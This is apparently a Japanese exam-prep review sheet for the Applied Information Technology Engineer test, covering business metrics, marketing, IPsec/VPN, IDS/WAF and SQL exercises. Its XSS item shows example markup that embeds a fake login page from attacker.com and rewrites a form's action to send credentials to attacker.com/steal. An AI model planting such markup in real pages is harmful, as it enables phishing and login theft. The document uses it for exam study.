20251012 AP試験 直前ミスまとめ

【問題】CSF（重要成功要因）がどの程度実行されているか、日々の業務プロセスのパフォーマンスを定量的に測定・監視するための指標です。現場の具体的な行動指針となります。★

- **（解答） KPI (Key Performance Indicator): 重要業績評価指標。**
- **（解説）** KPIは、KGIという「結果」に至るまでの「プロセス」を定量的に測定するための指標です。「Webサイトのアクセス数」「顧客単価」「成約率」など、日々の活動に直結する指標が設定されます。KPIを継続的に監視し、改善していくことで、最終的なKGIの達成を目指します。

【問題】企業の基幹業務（会計、人事、生産、販売など）を統合的に管理し、経営資源の最適化と経営の効率化を図るためのシステムや考え方です。★

- **（解答） ERP (Enterprise Resource Planning)**
- **（解説）** ERPパッケージを導入することで、各業務システムで重複していたマスタを一元管理でき、データ連携もスムーズになります。これにより、全社的な視点でのリアルタイムな経営状況の把握（経営の見える化）が可能となります。

【問題】総資産利益率。企業の総資産（自己資本＋他人資本）に対してどれだけの利益を生み出したかを示す財務指標で、資産全体の効率性を測ります。★

- **（解答） ROA (Return On Asset)**
- **（解説）** ROAは、当期純利益 ÷ 総資産 で計算され、企業が保有する全ての資産をどれだけ効率的に使って利益を上げているかを示します。金融機関からの借入金などを含めた総資産をベースにしているため、会社全体の収益性を評価する指標です。

【問題】自己資本利益率。株主が出資した自己資本に対して、企業がどれだけの利益を上げたかを示す財務指標です。株主から見た収益性と資本の効率性を示します。★

- **（解答） ROE (Return On Equity)**
- **（解説）** ROEは、当期純利益 ÷ 自己資本 で計算され、株主の投資額に対してどれだけのリターンを生み出したかを示します。投資家が企業の収益性を判断する上で重視する指標の一つです。

【問題】投資収益率。投下した資本に対してどれだけの利益を生み出したかを示す指標で、「利益 ÷ 投資額 × 100」で計算されます。★

- **（解答） ROI (Return on Investment)**
- **（解説）** ROIは、IT投資などの個別プロジェクトの採算性を評価するために広く用いられます。ROIが高いほど、投資効率が良いと判断できます。投資判断を行う際の重要な意思決定指標の一つです。

【問題】効果的な目標設定のためのフレームワークであり、「具体的(S)」「測定可能(M)」「達成可能(A)」「関連性(R)」「期限(T)」という5つの要素の頭文字をとったものです。★

- **（解答） SMARTの原則**
- **（解説）** SMARTの原則は、KPIやKGIを設定する際に、その目標が具体的で実行可能かを検証するためのフレームワークです。
  - **S (Specific):** 具体的であること。
  - **M (Measurable):** 測定可能であること。
  - **A (Achievable):** 達成可能であること。
  - **R (Relevant):** 上位目標（KGI）と関連性があること。
  - **T (Time-bound):** 期限が明確であること。 この5つの要素を満たすことで、目標は単なるスローガンではなく、具体的なアクションプランへと進化します。

【問題】顧客が現在利用している製品やサービスから、競合他社のものに乗り換える際に発生する金銭的・時間的・心理的な負担のことです。★

- **（解答） スイッチングコスト (Switching Cost)**
- **（解説）** 企業は、スイッチングコストを高めることで、顧客を自社サービスに囲い込むことができます。例えば、独自のポイント制度、特定のOSでしか動作しないソフトウェア、長年の利用で蓄積されたデータなどがスイッチングコストとなります。

【問題】セグメンテーションによって細分化された市場の中から、自社の強みを最も活かせる、標的とすべき市場セグメントを選び出すことです。★

- **（解答） ターゲティング (Targeting)**
- **（解説）** 全ての市場セグメントを狙うのではなく、自社の経営資源や競争環境を考慮して、最も収益性が高いと見込まれるセグメントに的を絞ります。これにより、限られたリソースを効率的に投下し、マーケティング効果を最大化します。

【問題】特許権、著作権、商標権など、人間の知的創造活動によって生み出されたアイデアや創作物を保護するための権利の総称です。★

- **（解答） 知的財産権 (Intellectual Property Rights)**
- **（解説）** 知的財産権は、企業の競争力の源泉となる無形資産です。特許によって技術的な優位性を確保したり、商標によってブランド価値を保護したりすることは、模倣を防ぎ、持続的な収益を確保する上で極めて重要です。

項目	知的財産権	産業財産権
範囲	広い（産業＋文化・芸術）	狭い（産業分野に特化）
主な権利	特許・実用新案・意匠・商標・著作権など	特許・実用新案・意匠・商標
所管官庁	特許庁＋文部科学省など	特許庁
権利取得方法	出願または創作時に自動発生	出願・登録が必要
目的	創造活動全般の保護	産業の発展

【問題】M&Aにおいて、買収される企業の時価純資産額を上回って支払われた差額です。ブランド価値や技術力など、帳簿には表れない超過収益力を示す無形固定資産として計上され

ます。★

- **（解答） のれん (Goodwill)**
- **（解説）** 「のれん」は、企業の将来の収益力への期待値を金額で表したものです。会計上は資産として計上されますが、期待された収益力が得られないと判断された場合には、減損処理（損失として計上）を行う必要があります。

【問題】企業の事業活動を機能ごとに分類し、どの活動で付加価値が生み出されているかを分析するフレームワークです。事業の効率化や競争優位性の源泉を探るのに役立ちます。★

- **（解答） バリューチェーン (Value Chain)**
- **（解説）** バリューチェーン分析では、事業活動を「購買物流」「製造」「出荷物流」「販売・マーケティング」「サービス」といった主活動と、「人事労務管理」「技術開発」などの支援活動に分解します。各活動のコストや付加価値を分析することで、自社の強み・弱みを特定し、改善点を見つけ出します。

【問題】ビジネスモデルを構成する9つの要素（顧客セグメント、価値提案、チャネルなど）を一枚の図に可視化し、ビジネスモデル全体を俯瞰・検討するためのフレームワークです。★

- **（解答） ビジネスモデルキャンバス (Business Model Canvas)**
- **（解説）** ビジネスモデルキャンバスは、ビジネスの構造を直感的に理解し、チームで議論するための共通言語となります。新規事業の立案や、既存事業の分析・改善に活用され、ビジネスモデルの強みや弱点、収益構造などを明確にすることができます。

【問題】製品が市場に投入されてから姿を消すまでの期間を「導入期」「成長期」「成熟期」「衰退期」の4段階に分けたモデルです。★

- **（解答） プロダクトライフサイクル (Product Life Cycle)**
- **（解説）** 企業は、製品がライフサイクルのどの段階にあるかを認識し、それぞれに適したマーケティング戦略（4P）を展開する必要があります。例えば、成長期にはシェア拡大を目指し、成熟期には差別化やコスト削減で利益を確保する、といった戦略が考えられます。

【問題】ターゲット顧客の心の中（マインド）で、競合製品とは異なる、明確で価値のある位置（ポジション）を築くための活動です。★

- **（解答） ポジショニング (Positioning)**
- **（解説）** ポジショニングは、STP分析の最終段階です。ターゲット顧客に対して、「この製品は、他とは違う、こんな価値を提供してくれる」という独自のイメージを植え付け、選ばれる理由を明確にします。

【問題】顧客のニーズやウォンツを起点として、商品やサービスを開発・提供する考え方です。対義語はプロダクトアウトです。★

- **（解答） マーケットイン (Market-in)**

- **（解説）** マーケットインは、「顧客が欲しがっているものを作る」という考え方です。市場調査や顧客分析を通じて、顧客の隠れたニーズを発見し、それを満たす製品・サービスを開発します。顧客志向の現代のマーケティングにおいて基本となる考え方です。

【問題】ネットワーク層（レイヤ3）で扱われるデータの送受信単位を何と呼びますか。IPヘッダと、上位層から渡されたデータ（ペイロード）から構成されます。★★

- **（解答）** **IPデータグラム（パケット）**
- **（解説）** IPデータグラム（またはパケット）は、ネットワーク層における通信単位です。宛先IPアドレスや送信元IPアドレスなどの制御情報を含む「IPヘッダ」と、実際に送りたいデータである「ペイロード」で構成されます。このIPデータグラムが、データリンク層ではイーサネットフレームにカプセル化されます。

【問題】IPsecのプロトコルであるESPパケットのIPヘッダに設定される値で、ESPがTCPやUDPといったトランスポート層プロトコルではなく、IP上で直接動作するプロトコルであることを示します。★

- **（解答）** **IPプロトコル番号50**
- **（解説）** IPヘッダには、そのIPパケットが運ぶデータが何かを示す「プロトコル番号」フィールドがあります。TCPの場合は「6」、UDPの場合は「17」が設定されます。同様に、ESP（Encapsulating Security Payload）の場合は「50」が設定されます。これは応用情報技術者試験で頻出する知識であり、「ESPはTCP/UDPと同列の存在である」と正確に理解することが重要です。
  ESP（Encapsulating Security Payload）は、IPsec（Internet Protocol Security）の中核をなすセキュリティプロトコルの一つで、IPパケットのデータ部分（ペイロード）を暗号化し、認証情報を付加することで通信の安全性を確保する仕組みです

【問題】VPNの暗号化通信で利用される技術の組み合わせです。処理が低速だが安全な鍵交換が可能な「公開鍵暗号方式」と、処理が高速な「共通鍵暗号方式」、そして改ざん検知に使われる「ハッシュ関数」の3つを適材適所で使い分けます。★

- **（解答）** **ハイブリッド暗号方式**
- **（解説）** VPNの通信では、まず「公開鍵暗号方式」を使ってデータ暗号化用の「共通鍵」を安全に交換します。その後、高速な「共通鍵暗号方式」で実際の通信データ本体を暗号化します。さらに、「ハッシュ関数」を用いてデータが改ざんされていないことを確認します。この役割分担により、安全性とパフォーマンスを両立させています。

【問題】VPNのユーザ情報を、VPNサーバ内で個別に管理せず、社内のユーザアカウント情報を一元的に管理する仕組みと連携させることです。★

- **（解答）** **ディレクトリサービス (Active Directoryなど) との連携**
- **（解説）** この連携により、管理者側は入退社時のアカウント管理負荷が大幅に軽減され、パスワードポリシーの強制も容易になります。利用者側は、普段PCログオンに使うIDとパスワードをVPNにも利用できるため、利便性が向上します（シングルサインオン）。ID管理の効率化とセキュリティ強化に不可欠な手法です。

【問題】IPsecの認証方式の一つで、複数の拠点で同じ文字列（合言葉）を設定して認証します。設定は容易ですが、一つの拠点から鍵が漏えいすると、その鍵を共有する全ての拠点が危険に晒されるという欠点があります。★

- **（解答） 事前共有鍵 (PSK: Pre-Shared Key)**
- **（解説）** PSKは、その手軽さから小規模な環境で利用されることがあります。しかし、鍵の共有、漏えい時の広範な影響範囲、拠点増減時の運用管理の負荷といった課題を抱えています。大規模もしくは高いセキュリティが求められる環境では、拠点ごとに個別の身分証明書を発行する「電子証明書」方式が推奨されます。

【問題】IPS/IDSが、通信プロトコル（規約）の仕様に基づいて通信内容を分解・解析し、規約に違反した不正な形式の通信や、仕様上ありえないフィールド値などを検出する手法です。★

- **（解答） プロトコルデコーディング**
- **（解説）** シグネチャベース検出が通信の「データパターン（中身の文字列）」を照合するのに対し、プロトコルデコーディングは「通信の文法や構造（書式）」が正しいかを検査する点に違いがあります。これにより、シグネチャを巧妙に回避する攻撃を検出できる場合があります。

【問題】アノマリベース検出システムが、保護対象ネットワークの平常時の通信パターンを観測・分析し、「正常な状態」の基準となるベースラインを自動生成する期間のことです。★

- **（解答） 学習フェーズ (ラーニングモード)**
- **（解説）** アノマリベース検出の精度は、この学習フェーズの質に大きく依存します。この期間に異常な通信を学習してしまうと、本来検出すべき攻撃を見逃す原因となり、逆に正常な業務を学習しきれていないと誤検知が多発する原因となります。

【問題】暗号化されたHTTPS通信を検査するために、WAFなどが一度通信を解読（復号）して平文に戻し、内容を検査した後に、再び暗号化してサーバーへ転送する機能です。★

- **（解答） HTTPS終端 (TLS復号/再暗号化)**
- **（解説）** HTTPS通信は暗号化されているため、そのままではWAFは中身を検査できません。そこで、この機能を用いて通信内容を可視化します。ただし、復号と再暗号化の処理はCPUに高い負荷をかけるため、WAFのパフォーマンスに影響を与える可能性があります。

【問題】WAFのルールなどで用いられる、特定の文字列パターンを表現するための記述法です。柔軟なパターンマッチングが可能ですが、複雑な表現はCPU負荷を増大させ、パフォーマンス低下の原因となることがあります。★

- **（解答） 正規表現 (Regular Expression)**
- **（解説）** 特に、ワイルドカード「.*」を多用した曖昧な表現や、複雑な入れ子構造を持つ正規表現は、マッチングの組み合わせを検証する計算（バックトラック）が膨大になり、通信の遅延（レイテンシ）を引き起こす可能性があります。ルールのチューニングにはこの知識が不可欠です。

【問題】IPS装置を通信経路上にインライン設置する際に、装置の電源断などの深刻な障害が発生した場合でも、内部の物理的なスイッチが作動して通信を迂回させ、最低限の通信継続を確保する機能です。★

- **（解答） ハードウェアバイパス機能**
- **（解説）** IPSの障害がネットワーク全体の停止を招くことを防ぐための、いわば「緊急回避路」です。この機能が作動すると、セキュリティ検査は行われなくなりますが、「通信が完全に途delする」という最悪の事態を回避することを優先します。可用性を確保するための重要な機能の一つです。

【問題】将来の結果に先んじて変動し、未来を予測・コントロールするために用いられる指標と、活動した結果として現れ、過去の実績を確認するために用いられる指標をそれぞれ何と呼びますか。★

- **（解答） 先行指標 (Leading Indicator) と 遅行指標 (Lagging Indicator)**
- **（解説）** KPIは将来の成果（KGI）の先行指標として、KGIは過去の活動の結果を示す遅行指標として位置づけられることが一般的です。例えば、日々の「Webサイトのアクセス数（KPI/先行指標）」を改善することで、将来の「売上高（KGI/遅行指標）」を向上させるという因果関係を捉えます。優れた経営管理とは、この先行指標をコントロールすることで、遅行指標を意図した通りに達成しようとする活動と言えます。

【問題】KPIをさらに細分化し、CSFを達成するために具体的に「実行すべき行動（Do）」そのものの回数や量に特化して測る指標です。★

- **（解答） KDI (Key Do Indicator)**
- **（解説）** KDIは、より現場の「行動」そのものに焦点を当てた指標です。KPIがプロセスの「質」や「結果」（例：受注率）を測るのに対し、KDIは「量」（例：訪問件数）に特化した指標であるという違いがあります。例えば、KPIである「受注率」が目標に達しない場合、その原因を探るために、より基本的な行動レベルである「訪問件数（KDI）」に分解して分析する、といった使われ方をします。

【問題】正規のWebページ内に、攻撃者が管理する別のWebページ（例：偽のログイン画面）を埋め込んで表示させるために悪用されるHTMLタグと、Webフォームに入力されたデータの送信先URLを攻撃者のサーバに書き換えるために悪用されるHTML属性をそれぞれ何と呼びますか。★

- **（解答） `<iframe>` タグ と `form` タグの `action` 属性**
- **（解説）** これらは`<script>`タグを使わない広義のXSS攻撃です。
  - **`<iframe>` タグ:** `<iframe src="http://attacker.com/fake_login.html">` のように、攻撃者が用意した偽のページを正規サイト内に埋め込むために悪用されます。フィッシングやクリックジャッキング攻撃の踏み台とされます。
  - **`form action` 属性:** `<form action="http://attacker.com/steal">` のように改ざんすることで、利用者が入力したIDやパスワードを攻撃者のサーバへ直接送信させます。

【問題】Webサイト自体は正規のままで、ログイン中の利用者に罠リンクをクリックさせることで、利用者の意図しないリクエスト（商品の購入など）をサーバに送信させる攻撃と、XSSとの本質的な違いは何ですか。★

- **（解答） CSRF（クロスサイトリクエストフォージェリ）との違いは、攻撃の起点が「外部サイト」にあるか「脆弱なサイト内部」にあるかという点です。**
- **（解説）**
  - **XSS:** 脆弱なサイト**内部**にスクリプトが埋め込まれ、そのサイトを閲覧した利用者が被害に遭います。攻撃者は利用者のブラウザを操ることができます。
  - **CSRF:** 攻撃者は**外部サイト**に罠を仕掛け、利用者の認証状態を悪用して、正規サイトへのリクエストを偽造（フォージェリ）させます。攻撃者はサーバからの応答を受け取れません。 この「攻撃の起点」と「できること」の違いは、応用情報技術者試験で頻出する最重要ポイントです。

【問題】複数のトランザクションを同時に実行した際に発生しうる問題で、まだ確定していない更新途中のデータを読んでしまう現象と、同じデータを再読込した際に内容が変わってしまう現象をそれぞれ何と呼びますか。★

- **（解答） ダーティリード (Dirty Read) と 非再現リード (Non-Repeatable Read)**
- **（解説）**
  - **ダーティリード:** 他のトランザクションがまだCOMMITしていない（ロールバックされるかもしれない）「汚れた」データを読み込んでしまう現象。最も低い分離レベルで発生します。
  - **非再現リード:** あるトランザクションが読み込んだ行を、他のトランザクションが**更新**または**削除**することで、再度読み込んだ際に結果が変わってしまう現象です。

【問題】複数のトランザクションを同時に実行した際に発生しうる問題で、検索条件に合致する行が増えてしまう現象と、二つの処理が互いに相手のロック解除を待ち続けて進まなくなる現象をそれぞれ何と呼びますか。

- **（解答） ファントムリード (Phantom Read) と デッドロック (Deadlock)**
- **（解説）**
  - **ファントムリード:** あるトランザクションが特定の条件で検索した後、他のトランザクションがその条件に合致する新しい行を**挿入**することで、再度検索した際に「幽霊」のような行が現れる現象です。
  - **デッドロック:** 二つのトランザクションが互いに相手が確保しているリソースを要求し、永久に待ち状態に陥ること。DBMSはこれを検知し、一方を強制終了（ロールバック）させることで解消します。

非再現リード（Non-repeatable Read）：更新、値の変更

- **対象：** すでに存在している「特定の行（レコード）」。
- **現象：** あるトランザクションが行を読み込んだ後、別のトランザクションがその行を更新または削除すると、再度読み込んだときに値が変わる、または行が消えている。

ファントムリード（Phantom Read）：行の挿入・削除、件数変更

- **対象：** 検索条件に一致する行の集合（つまり、クエリ結果の「件数」や「存在」）。
- **現象：** あるトランザクションが条件付きで複数行を検索した後、別のトランザクションが新しい行を挿入または既存行を削除すると、再度検索したときに検索結果の件数が変わる。

特徴	非再現リード	ファントムリード

特徴	非再現リード	ファントムリード
対象	特定の既存行（レコード）	条件に一致する行の集合
原因	他トランザクションによる**更新・削除**	他トランザクションによる**挿入・削除**
影響	値の変化、行の消失	件数の変化、新規行の出現
例	同じ社員IDの給与が変わる／行が消える	検索結果の社員数が増える／減る

【問題】問題7 ★★

「**競合より最安**の自社商品」を抽出する（競合価格(商品コード, 競合単価)）。

```
SELECT s.商品ｺｰﾄﾞ, s.商品名, s.単価
FROM 商品ﾏｽﾀ s
WHERE s.単価【 a 】(
  SELECT 競合単価
  FROM 競合価格 c
  WHERE c.商品ｺｰﾄﾞ = s.商品ｺｰﾄﾞ
);
```

- **【回答】** a: <= ALL
- **【この構文が必要な理由】** <=> ALL(集合) は「集合の**最小値以上ではない**」= **最小値以下**。競合のどれよりも高くない → **最安**を表現。
- **【構文の解説】**
  - 形：式 <= ALL(サブクエリ)
  - 等価形：自.単価 <= (SELECT MIN(競合単価) FROM 競合価格 WHERE 商品ｺｰﾄﾞ=自.商品ｺｰﾄﾞ)
  - 評価順注記：内側で比較集合（商品ごと）→外側で量化比較。
- **【初心者が陥りがちな誤解や誤答例】**
  - **誤解**：< ANY で最安
  - **解説**：< ANY は「**どれか1つ**より小さい」だけ。最安保証にならない。

【問題】 ★★

「退会者リストにいない有効会員」を抽出するSQLが、ある日突然**結果を1件も返さなくなった**のだ。調査の結果、データ移行時のミスで退会者リストに会員IDがNULLのレコードが1件だけ紛れ込んでいたことが判明した。このインシデントを引き起こした欠陥のあるSQL(ｺｰﾄﾞ1)を特定し、NULLの呪いを解くための2種類の修正コード(ｺｰﾄﾞ2, ｺｰﾄﾞ3)を完成させよ。

```
-- ｺｰﾄﾞ1: インシデントの元凶となった、NULLの罠に嵌ったコード
SELECT 氏名 FROM 会員ﾏｽﾀ
WHERE 会員ID【 a 】(SELECT 会員ID FROM 退会者リスト);

-- ｺｰﾄﾞ2: ｺｰﾄﾞ1を使い続けるための「応急処置」コード
SELECT 氏名 FROM 会員ﾏｽﾀ
WHERE 会員ID【 a 】(
```

```
    SELECT 会員ID FROM 退会者リスト WHERE【 b 】
);

-- コード3:  NULLの存在を許容する、最も「堅牢」な恒久対策コード
SELECT 氏名 FROM 会員マスタ M
WHERE【 c 】(
    SELECT 1 FROM 退会者リスト T WHERE T.会員ID = M.会員ID
);
```

- **【回答】** a: NOT IN, b: 会員ID IS NOT NULL, c: NOT EXISTS
- **【設計思想のアーキテクチャ解説】** SQLエンジニアが必ず直面する「三値論理」とNULLの挙動を完全にマスターしているかを問う試験です。
  - **コード1 (NOT IN) - 欠陥アーキテクチャ**: NOT INは、その内部動作（<> a AND <> b AND <> c ...）に起因する深刻な脆弱性を抱えています。比較リストに一つでもNULLが含まれると、<> NULLという評価不能な（UNKNOWN）条件が発生し、SQL全体が機能不全に陥ります。
  - **コード2 (属性＋IS NOT NULL) - 防御的パッチ**: これは、NOT INの脆弱性を認識した上で、その弱点をピンポイントで補強するアプローチです。比較対象の属性からNULLを事前にフィルタリングすることで、UNKNOWNの発生を防ぎます。これは有効な対策ですが、NOT INを使うたびにこの「おまじない」を忘れないようにしなければなりません。
  - **コード3 (NOT EXISTS) - NULL安全（NULL-Safe）アーキテクチャ**: NOT EXISTSは、そもそも値の比較を行わず、行の「存在」のみをスキャンするため、三値論理の罠に陥ることがありません。データにNULLが含まれようと、そのロジックは決して揺らがない。これこそが、予測不能なデータに立ち向かうための「防御的プログラミング」の思想を体現した、最も堅牢な設計です。
- **【プロフェッショナルへの道標】**
  - **思想としての「NULL安全」**: NOT INは「リスト(集合)に無いこと」を確認するのに対し、NOT EXISTSは「対応するレコードが存在しないこと」を確認します。この僅かな違いが、NULLに対する堅牢性の決定的な差を生みます。「否定の条件を書くときは、まずNOT EXISTSを想起すること」
  - **根本原因**: このインシデントの根本原因は、退会者リストの会員ID列にNOT NULL制約が課されていなかったからです。優れたSQLエンジニアは、コードで問題を解決するだけでなく、問題の発生を構造的に防ぐ視点を持っています。

【問題】問題5 ★★

商品カテゴリごとに月次売上を算出し、各カテゴリ内での前月売上と、それに基づいた売上の増減評価（「増加」「減少」「維持」）を同時に表示するSQLクエリを完成させてください。

```
[ 1 ] カテゴリ別月次売上 AS (
    SELECT
        P.商品カテゴリ,
        DATE_FORMAT(S.売上日, '%Y-%m') AS 売上月,
        SUM(S.単価 * S.数量) AS 月次売上
    FROM
        売上明細 AS S
    INNER JOIN
        商品マスタ AS P ON S.商品コード = P.商品コード
```

```
    GROUP BY
        P.商品カテゴリ, 売上月
)
SELECT
    商品カテゴリ,
    売上月,
    月次売上,
    [ 2 ](月次売上, 1, 0) OVER (
        [ 3 ] 商品カテゴリ ORDER BY 売上月
    ) AS 前月売上,
    [ 4 ]
        [ 5 ] 月次売上 > 前月売上 THEN '増加'
        WHEN 月次売上 < 前月売上 THEN '減少'
        [ 6 ] '維持'
    [ 7 ] AS 増減評価
FROM
    カテゴリ別月次売上
ORDER BY
    商品カテゴリ, 売上月;
```

- **【解答】**
  - 1: WITH
  - 2: LAG★
  - 3: PARTITION BY
  - 4: CASE
  - 5: WHEN
  - 6: ELSE
  - 7: END
- **【解説】**
  - **[1] WITH句**: 複雑なSQL文を部品に分け、クエリ全体を読みやすくします。
  - **[2] LAG関数★★**: 指定された順序に基づき、現在の行より前の行の値を取得します。`LAG(月次売上, 1, 0)` は「"月次売上"カラムの1つ前の値を取得し、もし存在しなければ0を返す」という意味です。
  - **[3] PARTITION BY句**: ウィンドウ関数を適用する範囲を「商品カテゴリごと」に区切ります。
  - **[4] - [7] CASE式**: LAG関数で取得した「前月売上」と当月の「月次売上」を比較し、条件に応じて「増加」「減少」「維持」という評価ラベルを動的に生成しています。

【問題】問題7 ★★

問題6と同じく、「一度も注文をしたことがない顧客」を特定します。今度はテーブルを外部結合し、データが存在しないことを利用するアプローチです。

```
SELECT
    C.顧客名
FROM
    顧客マスタ AS C
【 a 】
    注文 AS O ON C.顧客ID = O.顧客ID
```

```
WHERE
    O.注文ID【 b 】;
```

- **【回答】** a: `LEFT JOIN`, b: `IS NULL`
- **【この構文が必要な理由】** `LEFT JOIN` を使うと、基準となる左側のテーブル（顧客マスタ）のデータはすべて残り、右側のテーブル（注文）に対応するデータがない場合はその列が `NULL` になります。この性質を利用し、「注文IDが `NULL` であること」を条件に絞り込むことで、注文履歴のない顧客を抽出できます。
- **【2つのアプローチの比較】**
  - `NOT EXISTS`**（問題6）**：「存在チェック」の意図が明確で、可読性が高いと考える人もいます。
  - `LEFT JOIN ... IS NULL`**（問題7）**：結合結果をイメージしやすく直感的です。顧客情報だけでなく、他の結合したテーブルの情報も `SELECT`句で利用したい場合に拡張しやすいという利点があります。

【問題】★★

「書籍マスタ」テーブルから、書籍名が特定のパターンに一致する書籍の情報を抽出します。以下のそれぞれの条件を満たすためのSQL文について、空欄【 a 】～【 d 】に入る最も適切な字句の組み合わせを答えてください。

```
-- 条件1: 書籍名の2文字目が 'Q' で、末尾が '入門' である書籍を抽出
SELECT 書籍名 FROM 書籍マスタ
WHERE 書籍名 LIKE '【 a 】';
-- 条件2: 書籍名に '100%' という文字列自体が含まれる書籍を抽出
SELECT 書籍名 FROM 書籍マスタ
WHERE 書籍名 LIKE【 b1 】【 b2 】 '!';
-- 条件3: 書籍名の先頭が 'A', 'B', 'C' のいずれかで始まる書籍を抽出
SELECT 書籍名 FROM 書籍マスタ
WHERE 書籍名 LIKE '【 c 】';
-- 条件4: 書籍名の先頭が英字(A-Z)ではない書籍を抽出
SELECT 書籍名 FROM 書籍マスタ
WHERE 書籍名 LIKE '【 d 】%';
```

- **【回答】**
  - a: `_Q%入門`
  - b1: `'%100!%%'`, b2: `ESCAPE`
  - c: `[ABC]%` または `[A-C]%`
  - d: `[^A-Z]`
- **【この構文が必要な理由】** あいまいな条件でデータを検索する際に、ワイルドカードを用いた`LIKE`演算子は不可欠です。
- **【構文の解説】**
  - `%`: 0文字以上の任意の文字列。
  - `_`: 任意の1文字。
  - `[]`: 角括弧内に指定されたいずれか1文字に一致。
  - `^`: 角括弧の先頭で使うことで、指定した文字以外の1文字に一致。(NOTの意味)

- `ESCAPE` 句: ワイルドカードとして扱われる文字 (`%` や `_`) そのものを検索したい場合に使います。

【問題】 ★★

ある社員（社員ID: 'S010'）が営業部に異動し、基本給が300,000円に昇給しました。この情報を「社員」テーブルに反映させてください。また、その後、退職した社員（社員ID: 'S003'）のデータをテーブルから削除する必要が出てきました。

```
-- ① 異動と昇給の反映
【 a 】社員
【 b 】部署コード = 'D03', 基本給 = 300000
【 c 】社員ID = 'S010';

-- ② 退職者データの削除
【 d 】FROM 社員
【 e 】社員ID = 'S003';
```

- **【回答】** a: UPDATE, b: SET, c: WHERE★, d: DELETE, e: WHERE★
- **【この構文が必要な理由】** `UPDATE`は既存データの値を変更し、`DELETE`は既存の行を削除する命令です。これらの操作で**最も重要なのは`WHERE`句**であり、処理対象を正確に特定しないと、意図しないデータ破壊を引き起こす危険があります。
- **【構文の解説】**
  - `UPDATE テーブル名 SET 列 = 値 WHERE 条件;`: 条件に一致する行の指定された列の値を更新します。
  - `DELETE FROM テーブル名 WHERE 条件;`: 条件に一致する行を削除します。
  - **重要**: `UPDATE`と`DELETE`において、** `WHERE`句を省略すると、テーブルの**全行**が対象となり致命的な操作ミスに繋がります。

【問題】（高難易度）★★

ある企業で、優秀な人材の定着を目的とした給与改定案が検討されている。その内容は、「**『部長』職の社員が一人でも存在する部署**に所属している、**『一般』職の社員全員**の基本給を、**その部署内の最高基本給と同じ額まで引き上げる**」というものである。この複雑な要件を、単一の`UPDATE`文で実現するために、以下のSQL文の空欄を埋めなさい。

```
UPDATE 社員 S
SET
    基本給 = (
        SELECT MAX(S2.基本給)
        FROM 社員 S2
        WHERE S2.部署コード =【 a 】
    )
WHERE
    S.役職 = '一般'
    AND【 b 】(
```

```
        SELECT *
        FROM 社員 S3
        WHERE S3.役職 = '部長' AND【 c 】
    );
```

- **【回答】** a: S.部署コード, b: EXISTS, c: S3.部署コード = S.部署コード
- **【この構文が必要な理由】** 「どの行を更新するか」と「その行を何の値で更新するか」が、どちらも各行が持つデータ（所属部署）に依存するため、相関サブクエリを駆使する必要があります。
- **【構文の解説】**
  1. **SET句の相関サブクエリ**: 更新するスカラー値を算出します。外側のクエリで処理中の行（S）の部署コードを受け取り、その部署の最大基本給という単一の値を返します。
  2. **WHERE句の相関サブクエリ**: 更新対象とする行か否かを判定します。EXISTSは、サブクエリが **1行でも結果を返せば真（True）**を返します。ここでは、外側の行（S）の部署コードと同じ部署に「部長」が存在するかをチェックしています。

【問題】その１★

「社員」テーブルから社員一覧を出す際に、備考列がNULLの場合は「特記事項なし」と表示し、かつ役職コードに応じて役職名を日本語で表示したい（'MGR'なら「部長職」、'TL'なら「チームリーダー」、それ以外は「一般職」）。

```
SELECT
    氏名,
    【 a 】
        WHEN 'MGR' THEN '部長職'
        WHEN 'TL'  THEN 'チームリーダー'
        【 b 】'一般職'
    【 c 】AS 役職名,
    【 d 】(備考, '特記事項なし') AS 備考欄
FROM
    社員;
```

- **【回答】** a: CASE 役職コード, b: ELSE, c: END, d: COALESCE
- **【この構文が必要な理由】** CASE式は、SQL内で条件分岐ロジックを実現し、データを変換・分類するために不可欠です。COALESCE関数は、NULL値を別の値に置き換えるためのシンプルで方法であり、表示や計算でNULLが原因となる問題を回避するために頻繁に使用されます。
- **【構文の解説】**
  - CASE WHEN 条件 THEN 値 ... ELSE 値 END: 一連の条件を評価し、最初に真となった条件に対応する値を返します。
  - COALESCE(値1, 値2, ...): 引数リストの中で最初に見つかったNULLでない値を返します。

【問題】その２ ★★

上記と同じ結果となるように空欄を埋めよ。なお、上記は、単純 CASE 式（属性あり）。今回は、検索CASE式（属性なし）

```
SELECT
    氏名,
    CASE
        WHEN【 a 】THEN '部長職'
        WHEN【 b 】THEN 'チームリーダー'
        WHEN【 c 】THEN 'ベテラン職'
        ELSE '一般職'
    END AS 役職名
FROM 社員;
```

- **【回答】** a: 役職コード = 'MGR', b: 役職コード = 'TL', c: 勤続年数 >= 10
- **【解説】** このように「検索 CASE 式」では、WHENの後に書く条件式が自由に変えられるのがポイントです。 列名だけでなく、数値比較や複数列の組み合わせも使えるため、柔軟なロジックが組めます。

【問題】★★

各部署の売上合計と全社平均売上を比較するレポートを作成する。以下のSQL文の空欄【 a 】～【 e 】に適切な語句を補充してください。

```
【 a 】
部署別売上 AS (
    SELECT 部署コード, SUM(売上額) AS 合計売上
    FROM 売上実績
    【 b 】部署コード
),
全社平均 AS (
    SELECT【 c 】(売上額) AS 平均売上 FROM 売上実績
)
SELECT
    D.部署名,
    B.合計売上,
    A.平均売上
FROM
    部署別売上 AS B
【 d 】部署マスタ AS D ON B.部署コード = D.部署コード
【 e 】全社平均 AS A;
```

- **【回答】** a: WITH, b: GROUP BY, c: AVG, d: JOIN, e: CROSS JOIN
- **【解説】** WITH句で定義した全社平均は1行だけの結果セットです。これを全ての部署の行に結合するために、結合条件のないCROSS JOIN（デカルト積）を使います。これにより、平均売上の行が各部署の行にコピーされる形で結合され、比較が可能になります。

【問題】★★

「社員」テーブルに、新しくメールアドレス列を追加する必要が出てきました。この列には重複した値を許可しないようにしたい。また、個人情報保護のため、人事部のユーザにのみ基本給情報を公開し、他のユーザには氏名と部署名だけを閲覧できる社員公開ビューを提供したい。

```
-- ① 列の追加と制約の付与
【 a 】社員
【 b 】メールアドレス VARCHAR(255)【 c 】;

-- ② ビューの作成
【 d 】社員公開ビュー AS
SELECT
    氏名, 部署名
FROM
    社員 S
INNER JOIN
    部署 D ON S.部署コード = D.部署コード;
```

- **【回答】** a: ALTER TABLE, b: ADD COLUMN, c: UNIQUE, d: CREATE VIEW
- **【この構文が必要な理由】** ALTER TABLEは、稼働中のデータベースの構造を変更するために必要です。CREATE VIEWは、複雑なクエリを単純化したり、元テーブルへのアクセスを制限してセキュリティを向上させたりするための仮想テーブル機能です。
- **【構文の解説】**
